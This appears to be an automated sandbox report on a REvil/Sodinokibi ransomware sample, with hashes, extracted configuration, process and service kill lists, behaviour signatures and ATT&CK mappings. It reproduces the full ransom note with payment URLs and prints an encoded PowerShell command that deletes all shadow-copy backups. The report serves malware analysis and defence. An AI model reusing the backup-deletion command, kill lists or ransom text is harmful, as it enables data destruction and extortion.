Analysis

  • max time kernel
    135s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    09-04-2024 21:37

General

  • Target

    2024-04-09_96824095206ea551e8a35edd73e76a43_revil.exe

  • Size

    123KB

  • MD5

    96824095206ea551e8a35edd73e76a43

  • SHA1

    38aae72da34a608eb18b27cad316ba3e30204429

  • SHA256

    a647dd420a37a033c66bcc2b8cc66596dc7fb19e2850037f6fa22b431079c5ba

  • SHA512

    fa93057bd765d55d97b0c4d782d07f1463d2c2764675b58a771494a0032179054f21fda1307e034ae5695dea45969b57d73bb7bf28904b806bf951d6803ac4eb

  • SSDEEP

    1536:yDvcP3LThpshwVs5OE8yNcZQp+2ZZICS4AIjnBR561lQVMr3IgmffEbjQFOx2:l4SVhaNcZM8gnBR5uiV1UvQFOx2

Malware Config

Extracted

Family

sodinokibi

Botnet

$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.

Campaign

4085

Decoy

sandd.nl

digivod.de

southeasternacademyofprosthodontics.org

resortmtn.com

mdk-mediadesign.de

tetinfo.in

fayrecreations.com

ecpmedia.vn

physiofischer.de

highlinesouthasc.com

antenanavi.com

blog.solutionsarchitect.guru

deepsouthclothingcompany.com

coursio.com

quickyfunds.com

atmos-show.com

pawsuppetlovers.com

hokagestore.com

midmohandyman.com

mmgdouai.fr

Attributes
  • net

    true

  • pid

    $2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.

  • prc

    sqbcoreservice

    dbsnmp

    mydesktopservice

    outlook

    ocomm

    excel

    mydesktopqos

    isqlplussvc

    onenote

    tbirdconfig

    msaccess

    encsvc

    infopath

    steam

    thebat

    agntsvc

    sql

    visio

    wordpad

    winword

    dbeng50

    powerpnt

    firefox

    xfssvccon

    mspub

    oracle

    thunderbird

    ocssd

    synctime

    ocautoupds

  • ransom_oneliner

    All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    4085

  • svc

    memtas

    mepocs

    backup

    sophos

    sql

    svc$

    veeam

    vss

Extracted

Path

C:\Users\8ud5bi-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 8ud5bi. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/CA2966BAF0CC05FF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/CA2966BAF0CC05FF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: WKymm4xa/nESOUQmyzvbZKsMYwFEbikXfU+IE9eJU1tF+WF5mdL79GMNT3c+8uC6 S9bf7oCRA+sYkj/BxRTLcCGcIUIim9tSFoeZQ7ikUk6D7979s1y1s7hT7fhJR0mq 1hAPPNuQAyT6/vsLt9cA0IibSTeKzZCrLB1BxIdT1z6g+r7xxpwhbNvqMukKxVKp Cz7vKvQaXTU7MDwm5fKQhR0/WNI4lByoxuW5fO6YykuBkWAwcU6aPwfJOWQhMAmn dHTTzP2SAf1lnlJk/UAB4hrqjBJYp5cvr0QizEn7jZ9xv5uED9O8SoPtU/wNav4g B8oFdr4ysQrMCnX1TXyKb9pIaxB/KOXFFCarfJwUr6Z9OnxoqPAd+hZidZXyMEYj DAKmN+YVhneN3RB7mwvLLFy0dbRu0TJ3fw4KH8EKunYRbuBpfMWkB9H5FZdmcaMr pgp+PCOCujXkYjzcFYjkVsQvjVsM7DLN/5GsHiuIexJLBexyu0oiU1QyY/JkzKwE g25RP7LINpH246hh8qxPFNJqyEdOzNNqCsSacqWwuoAke4w872vPL2/1lN3UdYov yRF1mwfqYiID4VhjervhS+2gfAueDK/y4VjvZ76XU9kWP/CWu1GN4asHt7olOK6n tKPzvqaZjU6ivNT6KhyBH7OX/4Zyc0NWXy6VSsnpVDcyxeMjljlOC50dS2bY6+7B Z+PEonHV/XgZ1horSvD2h03eh0Rb6gBIfQUr4oFyJi9nkgKzp/KhvapRQuyy2qkv AqsUf4+epZsCobuivHgMv+splvdmM1hqqWkQnW9GBBwg54vvstGIC8gjkAnqyu63 RA+WlE/Y2P+MKOUcdjupqtVCO2PDQ/PntjwL7mVMJgRtPDhzwm3PKsfRMAP3cZof tHx3Tn8UCEQalFG+VX7/xfvnJWvf2dyLLZ03j/JWG7fs8p3FYgwtP1LAgK0320Ez G8N5+OownrvKdW5rc/nMFeL8mTfL5psu7+bOq5Fp+agwZW7fl3HasatGhCEtoaAX ihHfy/BSx6+cuWc+fPfzU0Tjw51XoA0wi5Fblu4aCIoQTSTGui+4SbTqj3WHLuIR CQ88ALqWvE2wrnoEwDCstmWqJ6Q/VdbAtzzej9onPZrSBYwcfv9EzqCgRYXcCpZm /LPwt97uXtuvvfSp6JAXnfRspj05CSTb0FCQtKCqne/Z3yRbxMmgxUGkQFE9l+dp J2SJz+Vqy99034xxQVTVmfbM8peMG3tPXdLzP/MvbGGOBlQbGvxtk9KPoLLhmjff MdxdyAqzlzcqx6C5Y0Ee9JlrtZwl9O3l3t6EG/XEk5EiA+aDjIRhPVLxbXSGkElE FCGXrNzuUmsIK41yFfpiLwLwwfkLDznnKUqFhYpHAlM= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/CA2966BAF0CC05FF

http://decryptor.cc/CA2966BAF0CC05FF

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 24 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-04-09_96824095206ea551e8a35edd73e76a43_revil.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-04-09_96824095206ea551e8a35edd73e76a43_revil.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2896
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:860
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2704

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Persistence

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Privilege Escalation

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Defense Evasion

    Modify Registry

    3
    T1112

    Subvert Trust Controls

    1
    T1553

    Install Root Certificate

    1
    T1553.004

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\8ud5bi-readme.txt
      Filesize

      6KB

      MD5

      98b66187e53a8de07a110b28c625af17

      SHA1

      663448a83af15cd177554d9bc41410828a021878

      SHA256

      de85f9ddab7c7163b0e1019f41c6375ef654207076f4cd65fcaf46b2cbd59c81

      SHA512

      0fa242b2c585a965a97fea59b60ba300b978cdd55c773bcdcf058166a5f82b40893a19145ac20a3928030ef56bd521cd14cc900fc3e9280b667c3a161d622518

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\Local\Temp\Tar79C9.tmp
      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Windows\System32\catroot2\dberr.txt
      Filesize

      192KB

      MD5

      f12579e41a138aa03b25fe4701407775

      SHA1

      84c35cff00b26577b45e35a2ed4007cbc9f1b1fe

      SHA256

      a49cf82c6880dcf4559d43f95ec9e1fc16b9ba126be3722ce09e96ef83faedd9

      SHA512

      0b579435ee1d44bf8901402eda40503dd8140c899d6c28e26dfa7a6f65929f842f83abfc7ae3601012fe57d1295b2c8d248a6902dcc26023064039d1353380d0

    • memory/1996-0-0x00000000011F0000-0x0000000001212000-memory.dmp
      Filesize

      136KB

    • memory/1996-433-0x00000000011F0000-0x0000000001212000-memory.dmp
      Filesize

      136KB

    • memory/2896-9-0x0000000002A00000-0x0000000002A80000-memory.dmp
      Filesize

      512KB

    • memory/2896-7-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp
      Filesize

      9.6MB

    • memory/2896-5-0x000000001B580000-0x000000001B862000-memory.dmp
      Filesize

      2.9MB

    • memory/2896-13-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp
      Filesize

      9.6MB

    • memory/2896-11-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp
      Filesize

      9.6MB

    • memory/2896-12-0x0000000002A00000-0x0000000002A80000-memory.dmp
      Filesize

      512KB

    • memory/2896-10-0x0000000002A00000-0x0000000002A80000-memory.dmp
      Filesize

      512KB

    • memory/2896-8-0x0000000002A00000-0x0000000002A80000-memory.dmp
      Filesize

      512KB

    • memory/2896-6-0x0000000002240000-0x0000000002248000-memory.dmp
      Filesize

      32KB